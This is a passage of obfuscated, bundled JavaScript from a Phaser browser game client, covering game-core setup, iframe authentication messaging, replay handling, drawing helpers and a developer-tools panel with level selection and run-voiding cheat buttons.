this['gameMessageBus']['publish']('actionStateUpdate', this['actionsState']), this['updateReplayActionIndexAndKeys']()); } ['handleVoidRun']() { this['replayActionLog']['forEach'](_0x503e36 => { _0x503e36['state'] = null; }); } }; }, 0xd60: function (_0x17af3b, _0x1583da, _0x2c0dec) { 'use strict'; var _0x475cda = this && this['__createBinding'] || (Object['create'] ? function (_0x101e8b, _0x145d7c, _0x5ed8ff, _0xed5689) { void 0x0 === _0xed5689 && (_0xed5689 = _0x5ed8ff); var _0x1fd23a = Object['getOwnPropertyDescriptor'](_0x145d7c, _0x5ed8ff); _0x1fd23a && !('get' in _0x1fd23a ? !_0x145d7c['__esModule'] : _0x1fd23a['writable'] || _0x1fd23a['configurable']) || (_0x1fd23a = { 'enumerable': !0x0, 'get': function () { return _0x145d7c[_0x5ed8ff]; } }), Object['defineProperty'](_0x101e8b, _0xed5689, _0x1fd23a); } : function (_0x4ec8be, _0x204d6d, _0x502acb, _0x332ed2) { void 0x0 === _0x332ed2 && (_0x332ed2 = _0x502acb), _0x4ec8be[_0x332ed2] = _0x204d6d[_0x502acb]; }), _0x632590 = this && this['__setModuleDefault'] || (Object['create'] ? function (_0x1eb1f9, _0x2004eb) { Object['defineProperty'](_0x1eb1f9, 'default', { 'enumerable': !0x0, 'value': _0x2004eb }); } : function (_0x344988, _0x54f887) { _0x344988['default'] = _0x54f887; }), _0x5c4baa = this && this['__importStar'] || function (_0xf40e3a) { if (_0xf40e3a && _0xf40e3a['__esModule']) return _0xf40e3a; var _0x260bde = {}; if (null != _0xf40e3a) { for (var _0x8ea5d0 in _0xf40e3a) 'default' !== _0x8ea5d0 && Object['prototype']['hasOwnProperty']['call'](_0xf40e3a, _0x8ea5d0) && _0x475cda(_0x260bde, _0xf40e3a, _0x8ea5d0); } return _0x632590(_0x260bde, _0xf40e3a), _0x260bde; }, _0x1268e2 = this && this['__importDefault'] || function (_0x36e8c3) { return _0x36e8c3 && _0x36e8c3['__esModule'] ? _0x36e8c3 : { 'default': _0x36e8c3 }; }; Object['defineProperty'](_0x1583da, '__esModule', { 'value': !0x0 }); const _0x4fe6e8 = _0x5c4baa(_0x2c0dec(0x8d4)), _0x2bfe20 = _0x2c0dec(0xf0e), _0x4074ab = _0x2c0dec(0x1854), _0xcb52c5 = _0x2c0dec(0x5d3), _0x4ee530 = (_0x5c4baa(_0x2c0dec(0x2419)), _0x1268e2(_0x2c0dec(0x9a8))), _0x2e6cd4 = _0x1268e2(_0x2c0dec(0x193)), _0xe6a6f5 = _0x2c0dec(0x2123), _0x355436 = _0x2c0dec(0x21c), _0x442775 = _0x2c0dec(0xf51), _0x88042d = _0x2c0dec(0x92b), _0x1fc11a = _0x2c0dec(0x19c0), _0x2b376b = _0x2c0dec(0x1337), _0x24105e = _0x2c0dec(0x1a95), _0x58a14a = _0x2c0dec(0x1786), _0x52a688 = _0x2c0dec(0x109), _0x3041a0 = _0x2c0dec(0x220c), _0x153117 = _0x2c0dec(0xf64), _0x52b69e = _0x2c0dec(0xbdd), _0x48854b = _0x2c0dec(0x1bed), _0xec8e8c = _0x2c0dec(0x221b), _0x1d29e1 = _0x2c0dec(0x1a39), _0x1cc446 = _0x2c0dec(0xde9), _0x318c12 = _0x2c0dec(0x7d3), _0x1c7d7f = _0x2c0dec(0x1486), _0x3cd0f1 = _0x2c0dec(0x18db), _0xb269eb = _0x2c0dec(0x1762), _0x87208 = _0x2c0dec(0x160c), _0x2556d5 = 'production', _0x47db18 = ['hub0', 'tutorial1', 'tutorial2', 'test1', 'test2']; _0x1583da['default'] = class { ['config'];['gameLoop'];['systemMessageBus'];['gameStore'];['gameContext'];['runContext'];['communicationSystem'];['systemScenes'] = [];['coreScenes'] = [];['phaserGame'];['devTools'];['gameStateRouter'];['loadingRenderSystem']; constructor(_0x20a0a2) { this['config'] = _0x20a0a2, this['systemMessageBus'] = this['config']['systemMessageBus'], this['gameStore'] = this['createGameStore'](), this['setupSystemMessageBusListeners'](), this['gameContext'] = this['createGameContext'](), this['runContext'] = new _0x58a14a['RunContext'](this['systemMessageBus'], this['gameStore']), this['communicationSystem'] = new _0x355436['CommunicationSystem'](this['systemMessageBus']), this['gameStateRouter'] = new _0x442775['GameStateRouter'](this['gameStore']), (0x0, _0xcb52c5['runningAsBackend'])() ? this['loadingRenderSystem'] = new _0x1c7d7f['NoLoadingRenderSystem']() : this['loadingRenderSystem'] = new _0x318c12['HtmlLoadingRenderSystem']({ 'showLoadingImage': !0x0 }), this['setupCore'](); } ['destroy']() { this['gameLoop']?.['destroy'](), this['phaserGame']?.['cache']['destroy'](); } ['getMode']() { return this['gameStore']['get']('mode'); } async['setupCore']() { await _0x4ee530['default']['init'](), await this['maybeLoadFonts'](), this['setupGameLoadFlow'](), (0x0, _0xcb52c5['runningAsBackend'])() ? this['phaserGame'] = await this['createServerPhaserGame'](this['config']['phaserConfig'], this['gameContext']) : this['phaserGame'] = await this['createClientPhaserGame'](this['config']['phaserConfig'], this['gameContext']), this['maybeCreateDevtools'](), this['gameContext']['timeProvider']['updatePhysicsTime'](0x0); } ['setupSystemMessageBusListeners']() { this['systemMessageBus']['subscribe'](this, 'startRunInit', () => this['startRun']()), this['systemMessageBus']['subscribe'](this, 'runCompletePlayerDead', () => this['onRoomCompletePlayerDead']()), this['systemMessageBus']['subscribe'](this, 'abortRun', () => this['abortRun']()), this['systemMessageBus']['subscribe'](this, 'beginRoom', _0x4bbac6 => this['beginRoom'](_0x4bbac6['levelName'])), this['systemMessageBus']['subscribe'](this, 'beginRoomReady', _0x4d2b4b => this['beginRoomReady'](_0x4d2b4b['levelName'], _0x4d2b4b['seeds'])), this['systemMessageBus']['subscribe'](this, 'exitRoom', () => this['exitRoom']()), this['systemMessageBus']['subscribe'](this, 'nextRoom', _0x43509a => this['nextRoom'](_0x43509a['levelName'])), this['systemMessageBus']['subscribe'](this, 'startReplay', () => this['startReplay']()); } ['createGameLoop'](_0x57ed7b, _0x13e7de, _0x5d4831) { return new _0x4074ab['GameLoop']({ 'systemMessageBus': this['config']['systemMessageBus'], 'gameMessageBus': _0x57ed7b, 'phaserConfig': this['config']['phaserConfig'], 'gameContext': this['gameContext'], 'gameStore': this['gameStore'], 'phaserGame': this['phaserGame'], 'systemScenes': this['systemScenes'], 'levelName': _0x13e7de, 'seeds': _0x5d4831, 'stats': this['devTools']?.['stats'] }); } ['createGameContext']() { return new _0x2b376b['GameContext']({ 'gameStore': this['gameStore'], 'idProvider': new _0x48854b['IdProvider'](), 'messageBus': this['systemMessageBus'], 'rngProvider': new _0x1d29e1['RngProvider']({ [_0xec8e8c['EProviderContext']['MAIN']]: 'main_menu', [_0xec8e8c['EProviderContext']['FRONTEND_ONLY']]: 'main_menu_gfx' }), 'timeProvider': new _0x1cc446['TimeProvider']() }); } ['createGameStore']() { return new _0x3cd0f1['Store']({ ..._0x24105e['gameModel'], 'runState': (0x0, _0x87208['deepCloneObject'])(this['config']['initialState'] ?? _0x24105e['INITIAL_RUN_STATE']), 'initialRunState': (0x0, _0x87208['deepCloneObject'])(this['config']['initialState'] ?? _0x24105e['INITIAL_RUN_STATE']), 'mode': this['config']['initialMode'], 'replayData': this['getReplayData'](), 'environment': _0x24105e['EGameEnvironment']['PRODUCTION'] }); } async['createClientPhaserGame'](_0x10781d, _0x5c2f3d) { const _0x45e388 = (0x0, _0x3041a0['createLoadAssetsScene'])({ 'gameMessageBus': this['systemMessageBus'], 'gameContext': _0x5c2f3d }), _0x397f73 = await (0x0, _0x52b69e['createControlsScene'])({ 'gameMessageBus': this['systemMessageBus'], 'gameContext': _0x5c2f3d }), _0x63cf0 = await (0x0, _0x52a688['createAudioScene'])({ 'gameMessageBus': this['systemMessageBus'], 'gameContext': _0x5c2f3d }), _0x5a412e = (0x0, _0x153117['createPreloadAssetsScene'])({ 'gameMessageBus': this['systemMessageBus'], 'gameContext': _0x5c2f3d, 'nextScenes': [{ 'key': 'LOAD_ASSETS', 'scene': _0x45e388 }, { 'key': 'CONTROLS', 'scene': _0x397f73 }, { 'key': 'AUDIO', 'scene': _0x63cf0 }] }); let _0x2d6a0c; this['systemScenes']['push'](_0x63cf0), this['coreScenes']['push'](_0x5a412e, _0x45e388, _0x397f73), (0x0, _0xcb52c5['runningAsBackend'])() || await _0x2c0dec['e'](0x1c5)['then'](_0x2c0dec['bind'](_0x2c0dec, 0xd7d))['then'](_0x4b15b8 => { _0x2d6a0c = _0x4b15b8['default']; }); const _0x5d77a2 = [{ 'key': 'SpinePlugin', 'plugin': window['SpinePlugin'], 'mapping': 'spine' }, { 'key': 'AnimatedTiles', 'plugin': _0x2e6cd4['default'], 'mapping': 'AnimatedTiles' }]; return _0x2d6a0c && _0x5d77a2['push']({ 'key': 'rexUI', 'plugin': _0x2d6a0c, 'mapping': 'rexUI' }), new _0x4fe6e8['Game']({ ..._0x10781d, 'scene': [_0x5a412e], 'plugins': { 'scene': _0x5d77a2 } }); } async['createServerPhaserGame'](_0x3e6d06, _0x705897) { const _0x3bb58d = (0x0, _0x3041a0['createLoadAssetsScene'])({ 'gameMessageBus': this['systemMessageBus'], 'gameContext': _0x705897 }); return this['coreScenes']['push'](_0x3bb58d), new _0x4fe6e8['Game']({ ..._0x3e6d06, 'scene': [_0x3bb58d] }); } async['setupGameLoadFlow']() { const _0x176b91 = 'COMM_CONTEXT'; this['systemMessageBus']['subscribe'](_0x176b91, 'bootComplete', async () => { (0x0, _0xcb52c5['runningAsBackend'])() ? this['onBootCompleteServer']() : (await this['onBootCompleteFrontend'](), this['canSkipAuth']() ? (this['systemMessageBus']['publish']('startHub'), this['finalizeStartingGameClient']()) : this['systemMessageBus']['publish']('requestSendOutboundMessage', { 'message': _0xe6a6f5['EMessageOutboundType']['REQUEST_AUTH'], 'content': void 0x0 })); }), this['systemMessageBus']['subscribe'](_0x176b91, 'receivedInboundMessage', ({ type: _0x56c57b, content: _0x4660b0 }) => { switch (_0x56c57b) { case _0xe6a6f5['EMessageInboundType']['AUTH']: if ('object' != typeof _0x4660b0 || !('authToken' in _0x4660b0) || !('accountId' in _0x4660b0)) throw new Error('Invalid\x20message\x20content\x20for\x20AUTH\x20type'); { const { authToken: _0x3779b5, accountId: _0x1beddd } = _0x4660b0; if (!_0x3779b5) throw new Error('Auth\x20token\x20missing\x20from\x20message'); if (!_0x1beddd) throw new Error('Account\x20ID\x20missing\x20from\x20message'); const _0xa774e6 = this['gameStore']['get']('auth')['authToken']; if (this['gameStore']['update']('auth', { 'authToken': _0x3779b5, 'accountId': _0x1beddd }), _0xa774e6) return; this['systemMessageBus']['publish']('requestSendOutboundMessage', { 'message': _0xe6a6f5['EMessageOutboundType']['AUTH_STORED'], 'content': void 0x0 }); } break; case _0xe6a6f5['EMessageInboundType']['START_GAME']: this['systemMessageBus']['publish']('startHub'); break; case _0xe6a6f5['EMessageInboundType']['IFRAME_RENDERED']: this['finalizeStartingGameClient'](), this['systemMessageBus']['unsubscribeByOwner'](_0x176b91); } }), this['systemMessageBus']['subscribe'](_0x176b91, 'sceneCreationComplete', _0x49737d => { 'GAME_LEVEL' === _0x49737d && this['systemMessageBus']['publish']('requestSendOutboundMessage', { 'message': _0xe6a6f5['EMessageOutboundType']['GAME_READY_FOR_DISPLAY'], 'content': void 0x0 }); }); } ['onBootCompleteServer']() { const _0x18511f = this['getReplayData'](); if (!_0x18511f) throw new Error('Replay\x20data\x20missing'); const _0x11b59d = _0x18511f['level'], _0xed9177 = _0x18511f['seeds']; this['gameLoop'] = this['createGameLoop'](new _0x2bfe20['MessageBus'](), _0x11b59d, _0xed9177); } async['onBootCompleteFrontend']() { this['loadingRenderSystem']['showLoading'](this['canSkipAuth']() ? 'AUTH:\x20SKIPPED,\x20LOCAL\x20DEV' : 'AUTHENTICATING'), await new Promise(_0x104f91 => setTimeout(_0x104f91, 0x3e8)); } ['finalizeStartingGameClient']() { this['loadingRenderSystem']['hideLoading'](), window['addEventListener']('resize', _0xb269eb['resizeCanvas']), (0x0, _0xb269eb['resizeCanvas'])(); } ['beginRoom'](_0x1bbebb) { const _0x301a4e = _0x47db18['includes'](_0x1bbebb), _0x1ee2d2 = this['gameStore']['get']('runState'); _0x301a4e || 0x0 === _0x1ee2d2['currentLevelIndex'] ? this['gameStore']['update']('initialRunState', (0x0, _0x87208['deepCloneObject'])(_0x24105e['INITIAL_RUN_STATE'])) : this['gameStore']['update']('initialRunState', (0x0, _0x87208['deepCloneObject'])(_0x1ee2d2)), this['canSkipAuth']() || _0x301a4e ? this['systemMessageBus']['publish']('beginRoomReady', { 'levelName': _0x1bbebb, 'seeds': this['generateOfflineSeeds']() }) : (this['loadingRenderSystem']['showLoading']('ARRIVING\x20AT\x20YOUR\x20DESTINATION'), this['gameStateRouter']['enterLevel']()['then'](_0x53e849 => this['systemMessageBus']['publish']('beginRoomReady', { 'levelName': _0x1bbebb, 'seeds': _0x53e849['seeds']['map'](_0x565152 => _0x565152['toString']()) }))['catch'](() => this['loadingRenderSystem']['showLoading']('Error\x20entering\x20level'))); } ['startRun']() { if (this['getMode']() !== _0x24105e['EGameMode']['PLAY']) throw new Error('Cannot\x20start\x20the\x20whole\x20run\x20in\x20non-play\x20mode'); if (this['canSkipAuth']()) { const _0x3528fb = this['generateOfflineSeeds'](); this['systemMessageBus']['publish']('startRunReady', { 'seeds': _0x3528fb }); } else this['loadingRenderSystem']['showLoading'](), this['gameStateRouter']['startDungeonImmediately']()['then'](_0x242f82 => _0x242f82)['catch'](async _0x3dca69 => (await this['gameStateRouter']['abandonDungeon'](), this['gameStateRouter']['startDungeon']()))['then'](_0x1ea929 => { const _0x5c1c46 = _0x1ea929['seeds']['map'](_0x2c93ef => _0x2c93ef['toString']()); this['systemMessageBus']['publish']('startRunReady', { 'seeds': _0x5c1c46 }); })['catch'](_0x3c26aa => { }); } ['generateOfflineSeeds'](_0x529171 = 0x5) { const _0x2e41e4 = []; for (let _0x10135c = 0x0; _0x10135c < _0x529171; _0x10135c++)_0x2e41e4['push'](Math['random']()['toString'](0x24)['substring'](0x2, 0xc)); return _0x2e41e4; } ['onRoomCompletePlayerDead']() { if (!this['gameLoop']) return; if ((0x0, _0xcb52c5['runningAsBackend'])()) return; const _0x184d0d = this['gameStore']['get']('replayEndState'), _0x4f95d3 = this['gameStore']['get']('replayData'); this['gameStore']['get']('mode') === _0x24105e['EGameMode']['PLAY'] && this['gameStateRouter']['exitLevelMultistep'](_0x184d0d, _0x4f95d3); } ['abortRun']() { this['gameLoop'] && (this['gameLoop']['destroy'](), this['gameLoop'] = null, this['devTools']?.['clearGameLoop']()); } async['nextRoom'](_0x167215) { setTimeout(async () => { await this['gameLoop']['destroy'](), this['gameLoop'] = null, this['devTools']?.['clearGameLoop'](), (0x0, _0xcb52c5['runningAsBackend'])() || this['gameStore']['get']('mode') === _0x24105e['EGameMode']['PLAY'] && this['beginRoom'](_0x167215); }, 0xfa); } async['exitRoom']() { setTimeout(async () => { if ((0x0, _0xcb52c5['runningAsBackend'])()) return; if (this['gameStore']['get']('mode') !== _0x24105e['EGameMode']['PLAY']) return; const _0x2af5c3 = this['gameStore']['get']('replayEndState'), _0x459f6e = this['gameStore']['get']('replayData'); this['gameStateRouter']['exitLevelMultistep'](_0x2af5c3, _0x459f6e); }, 0xfa); } ['beginRoomReady'](_0xb7e479, _0x246a12) { this['loadingRenderSystem']['hideLoading'](), this['gameStore']['update']('mode', _0x24105e['EGameMode']['PLAY']); const _0x3004b4 = new _0x2bfe20['MessageBus'](); this['gameLoop'] = this['createGameLoop'](_0x3004b4, _0xb7e479, _0x246a12), this['devTools']?.['setupGameLoop']({ 'core': this, 'gameLoop': this['gameLoop'], 'gameMessageBus': _0x3004b4, 'gameContext': this['gameContext'] }); } async['startReplay']() { await this['gameLoop']['destroy'](), this['gameLoop'] = null, this['devTools']?.['clearGameLoop'](); const _0x499169 = this['getReplayData'](); if (!_0x499169) return void alert('No\x20replay\x20data\x20stored,\x20cannot\x20start\x20replay'); if (!('0.34.30' === _0x499169['version'])) return void alert('Replay\x20data\x20version\x20does\x20not\x20match\x20this\x20version\x20of\x20game\x20client.\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20Replay\x20version:\x20' + _0x499169['version'] + ',\x20Client\x20version:\x200.34.30'); if (!('e776dc6d3f2822f8319c366f8bf1e009a0c7f9e9' === _0x499169['rev'])) { if (!confirm('Replay\x20data\x20commit\x20hash\x20does\x20not\x20match\x20this\x20version\x20of\x20game\x20client.\x0aReplay\x20commit\x20hash:\x20' + _0x499169['rev'] + ',\x20Client\x20commit\x20hash:\x20e776dc6d3f2822f8319c366f8bf1e009a0c7f9e9\x0aProceed\x20anyway?\x20This\x20may\x20cause\x20a\x20desync.')) return; } this['gameStore']['update']('mode', _0x24105e['EGameMode']['REPLAY']), this['gameStore']['update']('runState', (0x0, _0x87208['deepCloneObject'])(_0x499169['initialState'])), this['gameStore']['update']('initialRunState', (0x0, _0x87208['deepCloneObject'])(_0x499169['initialState'])); const _0x7fc55c = new _0x2bfe20['MessageBus'](); this['gameLoop'] = this['createGameLoop'](_0x7fc55c, _0x499169['level'], _0x499169['seeds']), this['devTools']?.['setupGameLoop']({ 'core': this, 'gameLoop': this['gameLoop'], 'gameMessageBus': _0x7fc55c, 'gameContext': this['gameContext'] }); } ['getReplayData']() { return (0x0, _0xcb52c5['runningAsBackend'])() ? this['config']['replayData'] ?? null : this['gameStore']?.['get']('replayData'); } async['maybeLoadFonts']() { (0x0, _0xcb52c5['runningAsBackend'])() || await _0x1fc11a['FontLoader']['loadFonts'](); } ['maybeCreateDevtools']() { 'production' === _0x2556d5 && (this['devTools'] = new _0x88042d['DevTools']({ ...this['config'], 'gameStore': this['gameStore'], 'getMode': () => this['getMode'](), 'phaserGame': this['phaserGame'], 'gameContext': this['gameContext'], 'core': this })); } ['canSkipAuth']() { const _0x5e1f50 = 'production' === _0x2556d5, _0x4ede59 = window['parent'] !== window; return _0x5e1f50 && !_0x4ede59; } }; }, 0x1f74: (_0x96cee1, _0x4bf902, _0x355f9b) => { 'use strict'; Object['defineProperty'](_0x4bf902, '__esModule', { 'value': !0x0 }), _0x4bf902['drawLine'] = _0x4bf902['drawArrow'] = _0x4bf902['drawCross'] = _0x4bf902['drawEmptyCircle'] = void 0x0; const _0x460f5c = _0x355f9b(0x18e5); _0x4bf902['drawEmptyCircle'] = function (_0x38f6d3, _0x2dae9b, _0x1e7e18, _0x1b2de0, _0x3121c5) { _0x38f6d3['lineStyle'](0x1, _0x3121c5, 0x1), _0x38f6d3['beginPath'](), _0x38f6d3['arc'](_0x2dae9b, _0x1e7e18, _0x1b2de0, 0x0, 0x2 * Math['PI']), _0x38f6d3['strokePath'](); }, _0x4bf902['drawCross'] = function (_0x19750e, _0x2c1e88, _0x7b5a12, _0x509bb5, _0x5d09a2) { _0x19750e['lineStyle'](0x1, _0x5d09a2, 0x1), _0x19750e['beginPath'](), _0x19750e['moveTo'](_0x2c1e88 - _0x509bb5, _0x7b5a12 - _0x509bb5), _0x19750e['lineTo'](_0x2c1e88 + _0x509bb5, _0x7b5a12 + _0x509bb5), _0x19750e['moveTo'](_0x2c1e88 - _0x509bb5, _0x7b5a12 + _0x509bb5), _0x19750e['lineTo'](_0x2c1e88 + _0x509bb5, _0x7b5a12 - _0x509bb5), _0x19750e['strokePath'](); }, _0x4bf902['drawArrow'] = function (_0x49ffe5, _0x59ec8d, _0x3a3a4e, _0x397938, _0x28251e, _0x26cd71) { const _0x55b277 = (0x0, _0x460f5c['rotateVectorToSide'])(new _0x460f5c['Vector'](0x0, _0x28251e), _0x397938), _0x39cc48 = (0x0, _0x460f5c['rotateVectorToSide'])(new _0x460f5c['Vector'](-0xa, -0xa), _0x397938 - 2.5), _0x81f74b = (0x0, _0x460f5c['rotateVectorToSide'])(new _0x460f5c['Vector'](0xa, -0xa), _0x397938 + 2.5); _0x49ffe5['lineStyle'](0x1, _0x26cd71, 0x1), _0x49ffe5['beginPath'](), _0x49ffe5['moveTo'](_0x59ec8d, _0x3a3a4e), _0x49ffe5['lineTo'](_0x59ec8d + _0x55b277['x'], _0x3a3a4e + _0x55b277['y']), _0x49ffe5['moveTo'](_0x59ec8d + _0x55b277['x'], _0x3a3a4e + _0x55b277['y']), _0x49ffe5['lineTo'](_0x59ec8d + _0x55b277['x'] + _0x39cc48['x'], _0x3a3a4e + _0x55b277['y'] + _0x39cc48['y']), _0x49ffe5['moveTo'](_0x59ec8d + _0x55b277['x'], _0x3a3a4e + _0x55b277['y']), _0x49ffe5['lineTo'](_0x59ec8d + _0x55b277['x'] + _0x81f74b['x'], _0x3a3a4e + _0x55b277['y'] + _0x81f74b['y']), _0x49ffe5['strokePath'](); }, _0x4bf902['drawLine'] = function (_0x2f866c, _0x2a1c5f, _0x32ee50, _0x52e850, _0x5ac65c, _0xa57c9c) { _0x2f866c['lineStyle'](0x1, _0xa57c9c, 0x1), _0x2f866c['beginPath'](), _0x2f866c['moveTo'](_0x2a1c5f, _0x32ee50), _0x2f866c['lineTo'](_0x52e850, _0x5ac65c), _0x2f866c['strokePath'](); }; }, 0x92b: function (_0x2ac41b, _0x5de317, _0x4fc79b) { 'use strict'; var _0xa5f4ef = this && this['__importDefault'] || function (_0x2875d3) { return _0x2875d3 && _0x2875d3['__esModule'] ? _0x2875d3 : { 'default': _0x2875d3 }; }; Object['defineProperty'](_0x5de317, '__esModule', { 'value': !0x0 }), _0x5de317['DevTools'] = void 0x0; const _0x3003a9 = _0x4fc79b(0x1832), _0x12db58 = _0x4fc79b(0x1a95), _0x28e92e = _0x4fc79b(0x5d3), _0x450e9f = _0x4fc79b(0xe1f), _0x440ad9 = _0xa5f4ef(_0x4fc79b(0xd8a)), _0x3f76cb = [{ 'text': '(Tier\x200.5):\x20Waves\x201', 'levelName': 'waves1' }, { 'text': '(Tier\x201):\x20Des\x20Bridge', 'levelName': 'des_bridge' }, { 'text': '(Tier\x201):\x20Portals\x201', 'levelName': 'portals1' }, { 'text': '(Tier\x201):\x20Portals\x205', 'levelName': 'portals5' }, { 'text': '(Tier\x201):\x20Des\x20Teich', 'levelName': 'des_teich' }, { 'text': '(Tier\x202):\x20Waves\x202', 'levelName': 'waves2' }, { 'text': '(Tier\x202):\x20Des\x20Cliff', 'levelName': 'des_cliff' }, { 'text': '(Tier\x202):\x20Portals\x203', 'levelName': 'portals3' }, { 'text': '(Tier\x202):\x20Waves\x203', 'levelName': 'waves3' }, { 'text': '(Tier\x203):\x20Portals\x202', 'levelName': 'portals2' }, { 'text': '(Tier\x203):\x20Waves\x204', 'levelName': 'waves4' }, { 'text': '(Tier\x203):\x20Des\x20VIP', 'levelName': 'des_vip' }, { 'text': '(Tier\x20X):\x20Boss\x20Astrid', 'levelName': 'boss1' }, { 'text': 'Test\x20Level\x201', 'levelName': 'test1' }, { 'text': 'Test\x20Level\x202', 'levelName': 'test2' }, { 'text': 'Training:\x20Movement', 'levelName': 'tutorial1' }, { 'text': 'Training:\x20Combat', 'levelName': 'tutorial2' }]; _0x5de317['DevTools'] = class { ['stats'];['gameMessageBus'];['config'];['core'];['gameLoop'];['gameStore'];['gameContext'];['bgmVolume'] = 0x1;['sfxVolume'] = 0x1; constructor(_0x137a3f) { this['config'] = _0x137a3f, this['gameStore'] = _0x137a3f['gameStore'], this['core'] = _0x137a3f['core'], this['gameContext'] = _0x137a3f['gameContext'], (0x0, _0x28e92e['runningAsBackend'])() || (this['stats'] = this['createStats'](), this['setupVersion'](), this['setupDevUiKeyboardtoggle'](), this['setupDevHandlers'](), this['setupLevelSelection'](), this['registerCheats'](), this['setupConsoleDebug']()); } ['setupGameLoop'](_0x48a305) { switch (this['gameMessageBus'] && this['gameMessageBus']['unsubscribeByOwner'](this), this['core'] = _0x48a305['core'], this['gameLoop'] = _0x48a305['gameLoop'], this['gameMessageBus'] = _0x48a305['gameMessageBus'], this['gameContext'] = _0x48a305['gameContext'], this['gameMessageBus']['subscribe'](this, 'debugMessage', ({ message: _0x283808, replayData: _0x135ca8 }) => { this['printDebugStatusMessage'](_0x283808, _0x135ca8); }), this['gameMessageBus']['subscribe'](this, 'replayComplete', () => { const _0x5069a1 = this['getReplayData']() || { 'frames': [] }; this['printDebugStatusMessage']('REPLAY\x20COMPLETE', _0x5069a1['frames']['toString']()); }), this['gameMessageBus']['subscribe'](this, 'sceneCreationComplete', _0x136971 => { 'GAME_LEVEL' === _0x136971 && this['setupConsoleDebug'](); }), this['gameMessageBus']['subscribe'](this, 'abortRun', () => this['printDebugStatusMessage']('', '')), this['gameStore']['get']('mode')) { case _0x12db58['EGameMode']['PLAY']: this['printDebugStatusMessage']('PLAY', ''); break; case _0x12db58['EGameMode']['REPLAY']: this['printDebugStatusMessage']('REPLAY\x20IN\x20PROGRESS', ''); } } ['clearGameLoop']() { this['gameMessageBus']['unsubscribeByOwner'](this), this['gameLoop'] = null, this['gameMessageBus'] = null; } ['setupDevHandlers']() { this['gameStore']['update']('photoModeEnabled', !0x1), document['getElementById']('hideGameUiButton')?.['addEventListener']('click', () => { this['gameMessageBus']['publish']('hideUi'), this['gameStore']['update']('photoModeEnabled', !this['gameStore']['get']('photoModeEnabled')); }), document['getElementById']('toggle_debug')?.['addEventListener']('click', () => { localStorage['getItem']('render_debug') ? (localStorage['removeItem']('render_debug'), this['gameMessageBus']['publish']('debugUpdate', { 'debugData': void 0x0 })) : localStorage['setItem']('render_debug', 'true'); }), document['getElementById']('abort_run')?.['addEventListener']('click', () => { this['gameMessageBus']['publish']('startHub'); }), document['getElementById']('save_data')?.['addEventListener']('click', () => { this['gameMessageBus']['publish']('initiateReplayDataStorage'), this['takeScreenshot'](); }), document['getElementById']('upload_replay')?.['addEventListener']('click', () => { this['uploadReplay'](); }), document['getElementById']('download_replay')?.['addEventListener']('click', () => { this['config']['systemMessageBus']['publish']('initiateReplayDataStorage'); }), document['getElementById']('view_replay')?.['addEventListener']('click', () => { this['gameMessageBus']['publish']('startReplay'); }), document['getElementById']('verify')?.['addEventListener']('click', () => { this['gameMessageBus']['publish']('initiateVerification'); }), document['getElementById']('screenshot')?.['addEventListener']('click', () => { this['takeScreenshot'](); }), document['getElementById']('replace_spine')?.['addEventListener']('click', () => { this['gameMessageBus']['publish']('uiEvent', { 'name': 'SHOW_SPINE_REPLACE_MODAL' }); }), document['getElementById']('replace_fmod_banks')?.['addEventListener']('click', _0x2622e4 => { this['gameMessageBus']['publish']('uiEvent', { 'name': 'SHOW_FMOD_BANKS_REPLACE_MODAL' }), _0x2622e4['preventDefault'](); }), document['getElementById']('toggle_particles')?.['addEventListener']('click', () => { this['gameLoop']['getGameScene']()['children']['list']['filter'](_0x5c65e2 => 'ParticleEmitter' === _0x5c65e2['constructor']['name'])['forEach'](_0x3d5bce => _0x3d5bce['visible'] = !_0x3d5bce['visible']); }), document['getElementById']('toggle_spines')?.['addEventListener']('click', () => { const _0xd63f38 = this['gameLoop']['getGameScene']()['store']; _0xd63f38['update']('spinesEnabled', !_0xd63f38['get']('spinesEnabled')); }), document['getElementById']('toggle_sprites')?.['addEventListener']('click', () => { const _0x50e2a9 = this['gameLoop']['getGameScene']()['store']; _0x50e2a9['update']('spritesEnabled', !_0x50e2a9['get']('spritesEnabled')); }), document['getElementById']('toggle_background')?.['addEventListener']('click', () => { const _0x3e38bb = this['gameLoop']['getGameScene']()['store']; _0x3e38bb['update']('backgroundEnabled', !_0x3e38bb['get']('backgroundEnabled')); }), document['getElementById']('toggle_ground')?.['addEventListener']('click', () => { const _0xff98a3 = this['gameLoop']['getGameScene']()['store']; _0xff98a3['update']('groundEnabled', !_0xff98a3['get']('groundEnabled')); }), document['getElementById']('toggle_bgm')?.['addEventListener']('click', () => { this['bgmVolume'] = 0x0 === this['bgmVolume'] ? 0x1 : 0x0, this['gameMessageBus']['publish']('requestSoundGroupVolumeUpdate', { 'volume': this['bgmVolume'], 'eventsContainingStrings': ['Music', 'Ambience', 'Portals'] }); }); } ['setupLevelSelection']() { const _0x1a88dd = document['getElementById']('levels_list'); _0x1a88dd && _0x3f76cb['forEach'](_0x122b2d => { const _0x3c870f = document['createElement']('li'), _0x10865f = document['createElement']('a'); _0x10865f['href'] = '#', _0x10865f['className'] = 'block\x20px-4\x20py-2\x20hover:bg-gray-100\x20dark:hover:bg-gray-600\x20dark:hover:text-white', _0x10865f['textContent'] = _0x122b2d['text'], _0x10865f['addEventListener']('click', _0xb7edf6 => { _0xb7edf6['preventDefault'](), this['gameMessageBus']['publish']('startSingleLevel', { 'levelName': _0x122b2d['levelName'] }); }), _0x3c870f['appendChild'](_0x10865f), _0x1a88dd['appendChild'](_0x3c870f); }); } ['registerCheats']() { document['getElementById']('cheat_iddqd')?.['addEventListener']('click', () => { this['gameMessageBus']['publish']('voidRun'); const _0x112160 = this['gameContext']['queryActors'](_0x3003a9['EActorTag']['PLAYER'])[0x0]; _0x112160['store']['update']('hp', 0x1 / 0x0), _0x112160['store']['update']('maxHp', 0x1 / 0x0); }), document['getElementById']('cheat_idkfa')?.['addEventListener']('click', () => { this['gameMessageBus']['publish']('voidRun'); const _0x4a5e1f = this['gameContext']['queryActors'](_0x3003a9['EActorTag']['PLAYER'])[0x0], _0x143a6c = _0x4a5e1f['getFromStore']('ammo'); Object['values'](_0x143a6c)['forEach'](_0x2e362d => { _0x2e362d['current'] = 0x1 / 0x0, _0x2e362d['max'] = 0x1 / 0x0; }), _0x4a5e1f['store']['update']('ammo', _0x143a6c, !0x0); }), document['getElementById']('cheat_baubles')?.['addEventListener']('click', () => { this['gameMessageBus']['publish']('voidRun'); const _0x2e9ea9 = this['gameContext']['queryActors'](_0x3003a9['EActorTag']['MAP_OBJECT']), _0x1b43f0 = 